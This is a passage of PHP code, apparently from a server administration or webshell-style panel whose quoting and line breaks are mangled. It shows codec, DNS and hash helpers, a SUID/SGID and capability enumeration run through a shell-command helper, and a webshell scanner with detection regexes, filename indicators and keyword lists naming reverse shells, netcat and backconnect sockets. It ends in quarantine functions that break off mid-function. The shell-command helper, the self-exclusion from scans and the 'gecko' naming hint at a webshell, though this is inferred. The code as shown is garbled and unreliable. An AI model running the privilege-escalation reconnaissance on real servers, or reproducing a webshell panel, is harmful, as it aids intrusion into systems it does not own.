    $out = \”=== HASH ($algo) ===\\nInput length: \” . strlen($text) . \” bytes\\n\\n\” . $hash;
    return array(\’ok\’ => true, \’output\’ => $out, \’hash\’ => $hash, \’algo\’ => $algo);
    }

    function secCodec($mode, $text)
    {
    $mode = strtolower(trim($mode));
    $result = \’\’;
    switch ($mode) {
    case \’b64enc\’:
    $result = base64_encode($text);
    break;
    case \’b64dec\’:
    $decoded = base64_decode($text, true);
    if ($decoded === false) return array(\’ok\’ => false, \’error\’ => \’Invalid Base64\’);
    $result = $decoded;
    break;
    case \’urlenc\’:
    $result = rawurlencode($text);
    break;
    case \’urldec\’:
    $result = rawurldecode($text);
    break;
    case \’rot13\’:
    $result = str_rot13($text);
    break;
    case \’hexenc\’:
    $result = bin2hex($text);
    break;
    case \’hexdec\’:
    if (!preg_match(\’/^[0-9a-fA-F\\s]+$/\’, $text)) {
    return array(\’ok\’ => false, \’error\’ => \’Invalid hex string\’);
    }
    $clean = preg_replace(\’/\\s+/\’, \’\’, $text);
    if (strlen($clean) % 2 !== 0) return array(\’ok\’ => false, \’error\’ => \’Odd-length hex\’);
    $result = pack(\’H*\’, $clean);
    break;
    default:
    return array(\’ok\’ => false, \’error\’ => \’Unknown codec mode\’);
    }
    $out = \”=== CODEC ($mode) ===\\n\\n\” . $result;
    return array(\’ok\’ => true, \’output\’ => $out, \’result\’ => $result);
    }

    function secDns($host, $type)
    {
    $host = trim($host);
    if ($host === \’\’ || !preg_match(\’/^[a-zA-Z0-9.\\-_]+$/\’, $host)) {
    return array(\’ok\’ => false, \’error\’ => \’Invalid hostname\’);
    }
    if (!function_exists(\’dns_get_record\’)) {
    return array(\’ok\’ => false, \’error\’ => \’dns_get_record() not available\’);
    }
    $type = strtoupper(trim($type));
    $map = array(
    \’A\’ => DNS_A, \’AAAA\’ => DNS_AAAA, \’MX\’ => DNS_MX, \’TXT\’ => DNS_TXT,
    \’NS\’ => DNS_NS, \’CNAME\’ => DNS_CNAME, \’SOA\’ => DNS_SOA, \’PTR\’ => DNS_PTR,
    );
    $lines = array(\’=== DNS LOOKUP: \’ . $host . \’ ===\’, \’\’);
    if ($type === \’ALL\’) {
    foreach ($map as $label => $const) {
    $recs = @dns_get_record($host, $const);
    if (!empty($recs)) {
    $lines[] = \’— \’ . $label . \’ —\’;
    foreach ($recs as $r) {
    $lines[] = json_encode($r, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    }
    $lines[] = \’\’;
    }
    }
    } else {
    if (!isset($map[$type])) return array(\’ok\’ => false, \’error\’ => \’Invalid record type\’);
    $recs = @dns_get_record($host, $map[$type]);
    if (empty($recs)) {
    $lines[] = \'(no \’ . $type . \’ records)\’;
    } else {
    foreach ($recs as $r) {
    $lines[] = json_encode($r, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    }
    }
    }
    if (count($lines) <= 2) $lines[] = \'(no records found)\'; return array(\'ok\' => true, \’output\’ => implode(\”\\n\”, $lines));
    }

    function secSuidFind($baseDir)
    {
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
    if ($isWin) {
    return array(\’ok\’ => true, \’output\’ => \”=== SUID/SGID SCAN ===\\nLinux/Unix only.\\n\”);
    }
    $suid = runTerminal(\’find /usr /bin /sbin /home /opt /tmp /var -perm -4000 -type f 2>/dev/null | head -80\’, $baseDir);
    $sgid = runTerminal(\’find /usr /bin /sbin /home /opt /tmp /var -perm -2000 -type f 2>/dev/null | head -40\’, $baseDir);
    $cap = runTerminal(\’getcap -r /usr /bin /sbin 2>/dev/null | head -40\’, $baseDir);
    $out = \”=== SUID BINARIES (setuid) ===\\n\” . trim($suid[\’output\’]) . \”\\n\\n\”;
    $out .= \”=== SGID BINARIES (setgid) ===\\n\” . trim($sgid[\’output\’]) . \”\\n\\n\”;
    $out .= \”=== CAPABILITIES ===\\n\” . trim($cap[\’output\’]);
    return array(\’ok\’ => true, \’output\’ => $out);
    }

    function btGetScanRoots($baseDir, $scanPath)
    {
    $roots = array();
    if ($scanPath !== \’\’) {
    $resolved = resolvePath($baseDir, $scanPath, false);
    if ($resolved && @is_dir($resolved)) $roots[] = $resolved;
    }
    if (empty($roots)) {
    $roots[] = $baseDir;
    $docRoot = isset($_SERVER[\’DOCUMENT_ROOT\’]) ? $_SERVER[\’DOCUMENT_ROOT\’] : \’\’;
    if ($docRoot && @is_dir($docRoot)) $roots[] = $docRoot;
    foreach (array(\’/var/www\’, \’/home\’, \’/tmp\’, \’/var/tmp\’, \’/opt\’, \’/srv\’, \’/usr/local\’) as $r) {
    if (@is_dir($r) && !in_array($r, $roots, true)) $roots[] = $r;
    }
    }
    return array_values(array_unique($roots));
    }

    function btWebshellSignatures($aggressive)
    {
    $sigs = array(
    array(\’pattern\’ => \’/eval\\s*\\(\\s*base64_decode/is\’, \’score\’ => 45, \’name\’ => \’eval(base64_decode())\’),
    array(\’pattern\’ => \’/eval\\s*\\(\\s*gz(inflate|uncompress|decode)/is\’, \’score\’ => 45, \’name\’ => \’eval(gz*)\’),
    array(\’pattern\’ => \’/eval\\s*\\(\\s*str_rot13/is\’, \’score\’ => 40, \’name\’ => \’eval(str_rot13())\’),
    array(\’pattern\’ => \’/eval\\s*\\(\\s*gzuncompress/is\’, \’score\’ => 45, \’name\’ => \’eval(gzuncompress)\’),
    array(\’pattern\’ => \’/assert\\s*\\(\\s*\\$_(GET|POST|REQUEST|COOKIE)/is\’, \’score\’ => 45, \’name\’ => \’assert($_INPUT)\’),
    array(\’pattern\’ => \’/preg_replace\\s*\\([^)]*\\/e[\”\’]/is\’, \’score\’ => 45, \’name\’ => \’preg_replace /e\’),
    array(\’pattern\’ => \’/create_function\\s*\\(/is\’, \’score\’ => 35, \’name\’ => \’create_function()\’),
    array(\’pattern\’ => \’/(shell_exec|system|passthru|proc_open|popen|pcntl_exec)\\s*\\([^)]*\\$_(GET|POST|REQUEST)/is\’, \’score\’ => 40, \’name\’ => \’cmd_exec($_INPUT)\’),
    array(\’pattern\’ => \’/@eval\\s*\\(/is\’, \’score\’ => 35, \’name\’ => \’@eval()\’),
    array(\’pattern\’ => \’/gzinflate\\s*\\(\\s*base64_decode/is\’, \’score\’ => 40, \’name\’ => \’gzinflate(base64)\’),
    array(\’pattern\’ => \’/base64_decode\\s*\\(\\s*[\’\”][A-Za-z0-9+\\/=]{80,}/is\’, \’score\’ => 25, \’name\’ => \’long base64 blob\’),
    array(\’pattern\’ => \’/\\$_(GET|POST|REQUEST|COOKIE)\\s*\\[[^\\]]+\\]\\s*\\(/is\’, \’score\’ => 30, \’name\’ => \’variable func call $_INPUT\’),
    array(\’pattern\’ => \’/(FilesMan|c99shell|r57shell|WSO\\s|b374k|alfa\\s*shell|AnonymousFox|IndoXploit|Gecko\\s*Shell|mini\\s*shell)/is\’, \’score\’ => 50, \’name\’ => \’known webshell brand\’),
    array(\’pattern\’ => \’/move_uploaded_file\\s*\\([^)]+\\)\\s*;[\\s\\S]{0,200}(eval|assert)/is\’, \’score\’ => 35, \’name\’ => \’upload+eval\’),
    array(\’pattern\’ => \’/\\$\\{\\s*[\’\”]\\x/is\’, \’score\’ => 30, \’name\’ => \’hex var obfuscation\’),
    array(\’pattern\’ => \’/(passthru|shell_exec|system|exec)\\s*\\(\\s*\\$_(GET|POST|REQUEST)/is\’, \’score\’ => 40, \’name\’ => \’direct webshell cmd\’),
    array(\’pattern\’ => \’/php:\\/\\/input/is\’, \’score\’ => 15, \’name\’ => \’php://input wrapper\’),
    array(\’pattern\’ => \’/(cmd|command|exec|shell|backdoor)\\s*[\’\”]?\\s*=>\\s*\\$_(GET|POST|REQUEST)/is\’, \’score\’ => 30, \’name\’ => \’cmd parameter handler\’),
    array(\’pattern\’ => \’/chr\\s*\\(\\s*\\d+\\s*\\)\\s*\\.\\s*chr/is\’, \’score\’ => 20, \’name\’ => \’chr() obfuscation chain\’),
    array(\’pattern\’ => \’/\\$[a-zA-Z_\\x7f-\\xff]{1,8}\\s*=\\s*[\’\”][a-zA-Z0-9+\\/=]{100,}[\’\”]/is\’, \’score\’ => 15, \’name\’ => \’suspicious encoded string\’),
    array(\’pattern\’ => \’/\\$_(GET|POST|REQUEST|COOKIE)\\s*\\[[^\\]]+\\]\\s*\\(\\s*\\$_(GET|POST|REQUEST)/is\’, \’score\’ => 35, \’name\’ => \’double $_INPUT invoke\’),
    array(\’pattern\’ => \’/(include|require)(_once)?\\s*\\(\\s*\\$_(GET|POST|REQUEST)/is\’, \’score\’ => 35, \’name\’ => \’dynamic include $_INPUT\’),
    array(\’pattern\’ => \’/file_put_contents\\s*\\([^,]+,\\s*\\$_(POST|REQUEST)/is\’, \’score\’ => 30, \’name\’ => \’file_put from POST\’),
    array(\’pattern\’ => \’/\\$[a-z_]+\\s*=\\s*str_replace\\s*\\([^)]+\\)\\s*;\\s*eval/is\’, \’score\’ => 35, \’name\’ => \’str_replace+eval\’),
    array(\’pattern\’ => \’/call_user_func\\s*\\(\\s*[\’\”]assert[\’\”]/is\’, \’score\’ => 35, \’name\’ => \’call_user_func assert\’),
    array(\’pattern\’ => \’/ReflectionFunction\\s*\\(/is\’, \’score\’ => 20, \’name\’ => \’ReflectionFunction\’),
    array(\’pattern\’ => \’/\\$_(SERVER|FILES)\\s*\\[[^\\]]+\\]\\s*\\(/is\’, \’score\’ => 25, \’name\’ => \’$_SERVER/FILES invoke\’),
    array(\’pattern\’ => \’/`[^`]*\\$_(GET|POST|REQUEST)/is\’, \’score\’ => 35, \’name\’ => \’backtick cmd $_INPUT\’),
    array(\’pattern\’ => \’/\\$[a-zA-Z0-9_]+\\s*=\\s*\\$[a-zA-Z0-9_]+\\s*\\(\\s*\\$[a-zA-Z0-9_]+\\s*\\)\\s*;\\s*\\$[a-zA-Z0-9_]+\\s*\\(/is\’, \’score\’ => 20, \’name\’ => \’variable function chain\’),
    array(\’pattern\’ => \’/(cmd\\.exe|\\/bin\\/sh|\\/bin\\/bash).*\\$_(GET|POST|REQUEST)/is\’, \’score\’ => 35, \’name\’ => \’shell binary + input\’),
    array(\’pattern\’ => \’/\\$[a-zA-Z0-9_]{1,3}\\s*=\\s*[\’\”]\\x[0-9a-f]{2}/is\’, \’score\’ => 18, \’name\’ => \’hex byte construction\’),
    array(\’pattern\’ => \’/\\$GLOBALS\\s*\\[[^\\]]+\\]\\s*\\(/is\’, \’score\’ => 22, \’name\’ => \’$GLOBALS func call\’),
    array(\’pattern\’ => \’/(WSO|uploader|FilesMan|Mini Shell|Bypass|Safe0ver|Locus7s)/is\’, \’score\’ => 40, \’name\’ => \’webshell keyword\’),
    array(\’pattern\’ => \’/\\$_(GET|POST|REQUEST)\\s*\\[[\’\”]pass[\’\”]\\]/is\’, \’score\’ => 18, \’name\’ => \’password gate $_INPUT\’),
    array(\’pattern\’ => \’/fsockopen\\s*\\([^)]+\\$_(GET|POST|REQUEST)/is\’, \’score\’ => 30, \’name\’ => \’fsockopen backconnect\’),
    array(\’pattern\’ => \’/stream_socket_client\\s*\\(/is\’, \’score\’ => 12, \’name\’ => \’stream_socket_client\’),
    array(\’pattern\’ => \’/\\$[a-zA-Z0-9_]+\\s*=\\s*\\$\\{[^}]+\\}/is\’, \’score\’ => 18, \’name\’ => \’variable variables\’),
    );
    if ($aggressive) {
    $sigs = array_merge($sigs, array(
    array(\’pattern\’ => \’/<\\?php/is\', \'score\' => 8, \’name\’ => \’php open tag\’),
    array(\’pattern\’ => \’/\\$_(GET|POST|REQUEST|COOKIE)\\s*\\[/is\’, \’score\’ => 8, \’name\’ => \’superglobal input access\’),
    array(\’pattern\’ => \’/(shell_exec|system|passthru|exec|popen|proc_open)\\s*\\(/is\’, \’score\’ => 12, \’name\’ => \’dangerous function\’),
    array(\’pattern\’ => \’/base64_decode\\s*\\(/is\’, \’score\’ => 10, \’name\’ => \’base64_decode()\’),
    array(\’pattern\’ => \’/(eval|assert)\\s*\\(/is\’, \’score\’ => 15, \’name\’ => \’eval/assert call\’),
    array(\’pattern\’ => \’/\\$_(GET|POST|REQUEST)\\s*\\[[\’\”]cmd[\’\”]\\]/is\’, \’score\’ => 25, \’name\’ => \’cmd parameter\’),
    array(\’pattern\’ => \’/\\$_(GET|POST|REQUEST)\\s*\\[[\’\”]0[\’\”]\\]/is\’, \’score\’ => 20, \’name\’ => \’array index 0 input\’),
    array(\’pattern\’ => \’/auto_prepend_file|auto_append_file/is\’, \’score\’ => 30, \’name\’ => \’auto_prepend injection\’),
    array(\’pattern\’ => \’/AddHandler\\s+application\\/x-httpd-php/is\’, \’score\’ => 25, \’name\’ => \’htaccess php handler abuse\’),
    array(\’pattern\’ => \’/\\$_(GET|POST|REQUEST)\\s*\\[[\’\”]z[0-9]?[\’\”]\\]/is\’, \’score\’ => 22, \’name\’ => \’obfuscated param z*\’),
    array(\’pattern\’ => \’/pack\\s*\\(\\s*[\’\”]H\\*[\’\”]/is\’, \’score\’ => 15, \’name\’ => \’pack hex decode\’),
    array(\’pattern\’ => \’/strrev\\s*\\(\\s*base64_decode/is\’, \’score\’ => 28, \’name\’ => \’strrev+base64\’),
    array(\’pattern\’ => \’/rawurldecode\\s*\\(\\s*base64_decode/is\’, \’score\’ => 25, \’name\’ => \’urldecode+base64\’),
    array(\’pattern\’ => \’/\\$[a-zA-Z0-9_]+\\(\\$\\{?\\$_(GET|POST|REQUEST)/is\’, \’score\’ => 30, \’name\’ => \’func variable from input\’),
    ));
    }
    return $sigs;
    }

    function btFilenameIOCs($aggressive)
    {
    $iocs = array(
    \’c99.php\’ => 55, \’r57.php\’ => 55, \’wso.php\’ => 55, \’wso2.php\’ => 55, \’wso1337.php\’ => 55,
    \’shell.php\’ => 40, \’cmd.php\’ => 40, \’backdoor.php\’ => 55, \’b374k.php\’ => 55, \’b374.php\’ => 50,
    \’alfa.php\’ => 50, \’alf.php\’ => 45, \’mini.php\’ => 25, \’uploader.php\’ => 30, \’upload.php\’ => 20,
    \’x.php\’ => 25, \’xx.php\’ => 25, \’0.php\’ => 30, \’1.php\’ => 25, \’2.php\’ => 22,
    \’indoxploit.php\’ => 55, \’fox.php\’ => 40, \’leaf.php\’ => 35, \’marijuana.php\’ => 50,
    \’adminer.php\’ => 10, \’.user.ini\’ => 25, \’php.ini\’ => 15,
    \’sym403.php\’ => 45, \’symlink.php\’ => 40, \’priv8.php\’ => 45, \’root.php\’ => 35,
    \’hack.php\’ => 40, \’haxor.php\’ => 45, \’1337.php\’ => 40, \’locus.php\’ => 40,
    \’c100.php\’ => 45, \’r00t.php\’ => 40, \’sh.php\’ => 35, \’bypass.php\’ => 35,
    \’up.php\’ => 28, \’upl.php\’ => 28, \’filemanager.php\’ => 15, \’fm.php\’ => 30,
    );
    if ($aggressive) {
    $iocs[\’test.php\’] = 12;
    $iocs[\’tmp.php\’] = 18;
    $iocs[\’cache.php\’] = 15;
    $iocs[\’log.php\’] = 18;
    $iocs[\’images.php\’] = 22;
    $iocs[\’class.php\’] = 12;
    $iocs[\’config.php.bak\’] = 30;
    $iocs[\’wp-config.php.bak\’] = 35;
    }
    return $iocs;
    }

    function btFilenameHeuristics($basename, &$score, &$hits, $aggressive)
    {
    if (preg_match(\’/^[a-f0-9]{8,}\\.(php|phtml|inc|php5)$/i\’, $basename)) {
    $score += 28;
    $hits[] = \’hex-random filename\’;
    }
    if (preg_match(\’/^[a-z0-9]{1,2}\\.(php|phtml)$/i\’, $basename)) {
    $score += 22;
    $hits[] = \’short random php name\’;
    }
    if (preg_match(\’/\\.(jpg|jpeg|png|gif|ico|css|txt|zip|tar|gz|bmp|webp)\\.(php|phtml|php5)$/i\’, $basename)) {
    $score += 38;
    $hits[] = \’double extension\’;
    }
    if (preg_match(\’/(shell|backdoor|hack|exploit|webshell|c99|r57|wso|b374k|cmd|uploader|bypass|priv8|hax|1337|alfa|indoxploit|revshell|payload|trojan|spy|bot|nc\\.|netcat|eval|base64|gzinflate|passthru|shell_exec)/i\’, $basename)) {
    $score += 20;
    $hits[] = \’malware keyword in filename\’;
    }
    if ($aggressive && preg_match(\’/^(tmp|temp|cache|log|test|old|bak|backup|dump|upload|upl|img|image|thumb|avatar|icon|css|js|class|module|helper|init|core|loader|config|setup|update|fix|repair|restore|data|info|debug|dev|demo|sample|radio|content|about|theme|plugin|widget|gate|door|key|secret|hidden|stealth|ghost|shadow|priv|root|admin|wp-|xmlrpc|install|lock|radio|content|about)\\d*\\.(php|phtml|php5|inc)$/i\’, $basename)) {
    $score += 14;
    $hits[] = \’aggressive suspicious basename\’;
    }
    }

    function btSeverityLabel($score)
    {
    if ($score >= 50) return \’CRITICAL\’;
    if ($score >= 30) return \’HIGH\’;
    if ($score >= 15) return \’MEDIUM\’;
    return \’LOW\’;
    }

    function btScanExtensions()
    {
    return array(\’php\’, \’phtml\’, \’php3\’, \’php4\’, \’php5\’, \’php7\’, \’php8\’, \’phar\’, \’inc\’, \’pht\’, \’phpt\’,
    \’asp\’, \’aspx\’, \’jsp\’, \’js\’, \’shtml\’, \’htaccess\’, \’cgi\’, \’pl\’, \’py\’, \’sh\’, \’rb\’, \’vb\’, \’vbs\’);
    }

    function btAnalyzeFile($path, $signatures, $filenameIOCs, $selfPath, $aggressive)
    {
    $realSelf = realpath($selfPath);
    $realPath = @realpath($path);
    if ($realSelf && $realPath && $realSelf === $realPath) return null;

    $score = 0;
    $hits = array();
    $basename = strtolower(basename($path));
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

    $allowedExt = btScanExtensions();
    if (!in_array($ext, $allowedExt, true) && $basename !== \’.htaccess\’ && $basename !== \’.user.ini\’) {
    if (!$aggressive || !preg_match(\’/\\.(jpg|jpeg|png|gif|bmp|ico|svg|webp|txt|log)$/i\’, $basename)) {
    return null;
    }
    }

    foreach ($filenameIOCs as $ioc => $pts) {
    if ($basename === strtolower($ioc) || ($aggressive && strpos($basename, strtolower(str_replace(\’.php\’, \’\’, $ioc))) !== false && preg_match(\’/\\.(php|phtml|php5|inc|bak)$/i\’, $basename))) {
    $score += (int)$pts;
    $hits[] = \’filename:\’ . $ioc;
    }
    }
    btFilenameHeuristics($basename, $score, $hits, $aggressive);

    $size = @filesize($path);
    $maxRead = $aggressive ? 524288 : 98304;
    $maxSize = $aggressive ? 8388608 : 5242880;
    if ($size === false || $size > $maxSize) {
    $minScore = $aggressive ? 10 : 15;
    return ($score >= $minScore) ? array(\’path\’ => $path, \’score\’ => $score, \’severity\’ => btSeverityLabel($score), \’hits\’ => $hits, \’size\’ => $size, \’modified\’ => @filemtime($path), \’note\’ => \’not content-scanned (large/unreadable)\’) : null;
    }

    $content = @file_get_contents($path, false, null, 0, min((int)$size, $maxRead));
    if ($content === false || $content === \’\’) {
    $minScore = $aggressive ? 10 : 15;
    return ($score >= $minScore) ? array(\’path\’ => $path, \’score\’ => $score, \’severity\’ => btSeverityLabel($score), \’hits\’ => $hits, \’size\’ => $size, \’modified\’ => @filemtime($path)) : null;
    }

    foreach ($signatures as $sig) {
    if (@preg_match($sig[\’pattern\’], $content)) {
    $score += (int)$sig[\’score\’];
    $hits[] = $sig[\’name\’];
    }
    }

    if ($size < 250 && preg_match(\'/eval|assert|base64_decode|shell_exec|system\\s*\\(|passthru\\s*\\(/is\', $content)) { $score += 28; $hits[] = \'tiny file + dangerous func\'; } if ($aggressive && preg_match(\'/<\\?(php|=)/i\', $content) && preg_match(\'/\\.(jpg|jpeg|png|gif|bmp|ico|svg|webp|txt|css|js)$/i\', $basename)) { $score += 35; $hits[] = \'php tag in non-php extension (polyglot)\'; } if ($aggressive && preg_match_all(\'/[A-Za-z0-9+\\/=]{200,}/\', $content, $m) && count($m[0]) >= 2) {
    $score += 12;
    $hits[] = \’multiple long encoded blobs\’;
    }

    $minScore = $aggressive ? 6 : 12;
    if ($score < $minScore) return null; return array( \'path\' => $path,
    \’score\’ => $score,
    \’severity\’ => btSeverityLabel($score),
    \’hits\’ => array_values(array_unique($hits)),
    \’size\’ => (int)$size,
    \’modified\’ => @filemtime($path),
    );
    }

    function btCollectCandidateFiles($roots, $baseDir, $maxFiles, $maxDepth)
    {
    $files = array();
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
    $exts = btScanExtensions();
    if (!$isWin) {
    $nameParts = array();
    foreach ($exts as $e) {
    $nameParts[] = \’-name \’ . escapeshellarg(\’*.\’ . $e);
    }
    $nameParts[] = \’-name \’ . escapeshellarg(\’.htaccess\’);
    $nameParts[] = \’-name \’ . escapeshellarg(\’.user.ini\’);
    $nameParts[] = \’-name \’ . escapeshellarg(\’*.php*\’);
    $expr = \’\\( \’ . implode(\’ -o \’, $nameParts) . \’ \\)\’;
    foreach ($roots as $root) {
    $cmd = \’find \’ . escapeshellarg($root) . \’ -maxdepth \’ . (int)$maxDepth . \’ \’ . $expr . \’ -type f 2>/dev/null | head -\’ . (int)$maxFiles;
    $out = runTerminal($cmd, $baseDir);
    foreach (explode(\”\\n\”, $out[\’output\’]) as $line) {
    $line = trim($line);
    if ($line !== \’\’ && @is_file($line)) $files[$line] = $line;
    }
    if (count($files) >= $maxFiles) break;
    }
    } else {
    foreach ($roots as $root) {
    btWalkCandidates($root, $exts, $files, 0, $maxDepth, $maxFiles);
    if (count($files) >= $maxFiles) break;
    }
    }
    return array_values($files);
    }

    function btWalkCandidates($dir, $exts, &$files, $depth, $maxDepth, $maxFiles)
    {
    if ($depth > $maxDepth || count($files) >= $maxFiles) return;
    $h = @opendir($dir);
    if (!$h) return;
    while (($name = readdir($h)) !== false) {
    if ($name === \’.\’ || $name === \’..\’) continue;
    $full = $dir . DIRECTORY_SEPARATOR . $name;
    if (@is_file($full)) {
    $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
    if (in_array($ext, $exts, true) || $name === \’.htaccess\’ || $name === \’.user.ini\’) {
    $files[$full] = $full;
    }
    } elseif (@is_dir($full) && $depth < $maxDepth) { btWalkCandidates($full, $exts, $files, $depth + 1, $maxDepth, $maxFiles); } if (count($files) >= $maxFiles) break;
    }
    closedir($h);
    }

    function btFormatFindings($title, $findings, $scanned, $roots)
    {
    usort($findings, function ($a, $b) {
    return (int)$b[\’score\’] – (int)$a[\’score\’];
    });
    $lines = array(\’=== \’ . $title . \’ ===\’, \’Roots: \’ . implode(\’, \’, $roots), \’Scanned: \’ . $scanned . \’ files\’, \’Findings: \’ . count($findings), \’\’);
    if (empty($findings)) {
    $lines[] = \'(no threats detected in scan scope)\’;
    return implode(\”\\n\”, $lines);
    }
    foreach ($findings as $f) {
    $mod = isset($f[\’modified\’]) ? date(\’Y-m-d H:i\’, $f[\’modified\’]) : \’-\’;
    $sz = isset($f[\’size\’]) ? secFormatBytes($f[\’size\’]) : \’-\’;
    $lines[] = \'[\’ . $f[\’severity\’] . \’ score:\’ . $f[\’score\’] . \’] \’ . $f[\’path\’];
    $lines[] = \’ modified:\’ . $mod . \’ size:\’ . $sz . \’ signals:\’ . implode(\’, \’, $f[\’hits\’]);
    if (isset($f[\’note\’])) $lines[] = \’ note:\’ . $f[\’note\’];
    }
    return implode(\”\\n\”, $lines);
    }

    function btWebshellScan($baseDir, $scanPath, $aggressive)
    {
    @set_time_limit(600);
    $aggressive = ($aggressive === true || $aggressive === 1 || $aggressive === \’1\’ || $aggressive === \’true\’);
    $roots = btGetScanRoots($baseDir, $scanPath);
    $signatures = btWebshellSignatures($aggressive);
    $filenameIOCs = btFilenameIOCs($aggressive);
    $maxFiles = $aggressive ? 8000 : 2500;
    $maxFindings = $aggressive ? 500 : 120;
    $maxDepth = $aggressive ? 14 : 9;
    $candidates = btCollectCandidateFiles($roots, $baseDir, $maxFiles, $maxDepth);
    $findings = array();
    foreach ($candidates as $file) {
    $hit = btAnalyzeFile($file, $signatures, $filenameIOCs, __FILE__, $aggressive);
    if ($hit) $findings[] = $hit;
    if (count($findings) >= $maxFindings) break;
    }
    $mode = $aggressive ? \’AGGRESSIVE\’ : \’STANDARD\’;
    $out = btFormatFindings(\’BACKDOOR / WEBSHELL SCAN [\’ . $mode . \’]\’, $findings, count($candidates), $roots);
    $critical = 0;
    foreach ($findings as $f) {
    if ($f[\’severity\’] === \’CRITICAL\’ || $f[\’severity\’] === \’HIGH\’) $critical++;
    }
    return array(
    \’ok\’ => true,
    \’output\’ => $out,
    \’count\’ => count($findings),
    \’critical\’ => $critical,
    \’scanned\’ => count($candidates),
    \’findings\’ => $findings,
    \’aggressive\’ => $aggressive,
    );
    }

    function btResolveThreatPath($baseDir, $path)
    {
    $path = trim((string)$path);
    if ($path === \’\’) return null;
    if (preg_match(\’/^[A-Za-z]:/\’, $path) || (strlen($path) > 0 && $path[0] === \’/\’)) {
    $real = @realpath($path);
    return ($real && @is_file($real)) ? $real : null;
    }
    return resolvePath($baseDir, $path);
    }

    function btQuarantineDir($baseDir)
    {
    $tmp = sys_get_temp_dir();
    if (!$tmp) $tmp = $baseDir;
    $dir = rtrim($tmp, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . \’gecko_quarantine_\’ . substr(md5($baseDir), 0, 12);
    if (!is_dir($dir)) {
    @mkdir($dir, 0700, true);
    }
    return $dir;
    }

    function btManifestPath($baseDir)
    {
    return btQuarantineDir($baseDir) . DIRECTORY_SEPARATOR . \’manifest.json\’;
    }

    function btLoadManifest($baseDir)
    {
    $file = btManifestPath($baseDir);
    if (!is_file($file)) return array();
    $raw = @file_get_contents($file);
    if (!$raw) return array();
    $data = json_decode($raw, true);
    if (!is_array($data)) return array();
    $valid = array();
    foreach ($data as $entry) {
    if (!is_array($entry) || empty($entry[\’id\’]) || empty($entry[\’original\’])) continue;
    if (!empty($entry[\’quarantine\’]) && !is_file($entry[\’quarantine\’])) continue;
    $valid[] = $entry;
    }
    if (count($valid) !== count($data)) {
    btSaveManifest($baseDir, $valid);
    }
    return $valid;
    }

    function btSaveManifest($baseDir, $entries)
    {
    $file = btManifestPath($baseDir);
    @file_put_contents($file, json_encode(array_values($entries), JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT));
    }

    function btListQuarantine($baseDir)
    {
    $entries = btLoadManifest($baseDir);
    usort($entries, function ($a, $b) {
    return (int)(isset($b[\’moved_at\’]) ? $b[\’moved_at\’] : 0) – (int)(isset($a[\’moved_at\’]) ? $a[\’moved_at\’] : 0);
    });
    $dir = btQuarantineDir($baseDir);
    $lines = array(\’=== QUARANTINE (TMP) ===\’, \’Location: \’ . $dir, \’Items: \’ . count($entries), \’\’);
    foreach ($entries as $e) {
    $when = isset($e[\’moved_at\’]) ? date(\’Y-m-d H:i:s\’, $e[\’moved_at\’]) : \’-\’;
    $lines[] = \'[\’ . $e[\’id\’] . \’] \’ . $e[\’original\’];
    $lines[] = \’ quarantined: \’ . $when . \’ → \’ . (isset($e[\’quarantine\’]) ? $e[\’quarantine\’] : \’-\’);
    }
    if (empty($entries)) $lines[] = \'(empty — no quarantined files)\’;
    return array(
    \’ok\’ => true,
    \’output\’ => implode(\”\\n\”, $lines),
    \’entries\’ => $entries,
    \’count\’ => count($entries),
    \’dir\’ => $dir,
    );
    }

    function btDeleteThreats($baseDir, $paths)
    {
    $realSelf = @realpath(__FILE__);
    $quarantined = array();
    $failed = array();
    if (!is_array($paths)) {
    if (is_string($paths) && $paths !== \’\’) $paths = array($paths);
    else $paths = array();
    }
    if (count($paths) > 200) {
    return array(\’ok\’ => false, \’error\’ => \’Max 200 files per batch\’);
    }
    $qdir = btQuarantineDir($baseDir);
    $manifest = btLoadManifest($baseDir);

    foreach ($paths as $p) {
    $p = trim((string)$p);
    if ($p === \’\’) continue;
    $resolved = btResolveThreatPath($baseDir, $p);
    if (!$resolved) {
    $failed[] = array(\’path\’ => $p, \’error\’ => \’Not found or not a file\’);
    continue;
    }
    if ($realSelf && $resolved === $realSelf) {
    $failed[] = array(\’path\’ => $p, \’error\’ => \’Protected (scanner itself)\’);
    continue;
    }
    $id = substr(md5($resolved . microtime(true) . mt_rand()), 0, 16);
    $safeName = preg_replace(\’/[^a-zA-Z0-9._-]/\’, \’_\’, basename($resolved));
    $qpath = $qdir . DIRECTORY_SEPARATOR . $id . \’_\’ . $safeName;
    if (!@rename($resolved, $qpath)) {
    if (!@copy($resolved, $qpath)) {
    $failed[] = array(\’path\’ => $p, \’error\’ => \’Move to quarantine failed\’);
    continue;
    }
    @unlink($resolved);
    }
    $entry = array(
    \’id\’ => $id,
    \’original\’ => $resolved,
    \’quarantine\’ => $qpath,
    \’basename\’ => basename($resolved),
    \’moved_at\’ => time(),
    );
    $manifest[] = $entry;
    $quarantined[] = $entry;
    }
    btSaveManifest($baseDir, $manifest);

    $out = \”=== QUARANTINE REPORT (moved to tmp) ===\\n\”;
    $out .= \’Location: \’ . $qdir . \”\\n\”;
    $out .= \’Quarantined: \’ . count($quarantined) . \’ · Failed: \’ . count($failed) . \”\\n\\n\”;
    foreach ($quarantined as $q) {
    $out .= \'[MOVED] \’ . $q[\’original\’] . \”\\n\”;
    $out .= \’ → \’ . $q[\’quarantine\’] . \’ (id:\’ . $q[\’id\’] . \”)\\n\”;
    }
    foreach ($failed as $f) {
    $out .= \'[FAILED] \’ . $f[\’path\’] . \’ — \’ . $f[\’error\’] . \”\\n\”;
    }
    $out .= \”\\nFiles can be restored from Quarantine section below.\”;
    return array(
    \’ok\’ => true,
    \’output\’ => $out,
    \’quarantined\’ => $quarantined,
    \’deleted\’ => array_map(function ($e) { return $e[\’original\’]; }, $quarantined),
    \’failed\’ => $failed,
    \’count\’ => count($quarantined),
    \’dir\’ => $qdir,
    );
    }

    function btRestoreThreats($baseDir, $ids)
    {
    if (!is_array($ids)) {
    if (is_string($ids) && $ids !== \’\’) $ids = array($ids);
    else $ids = array();
    }
    if (empty($ids)) {
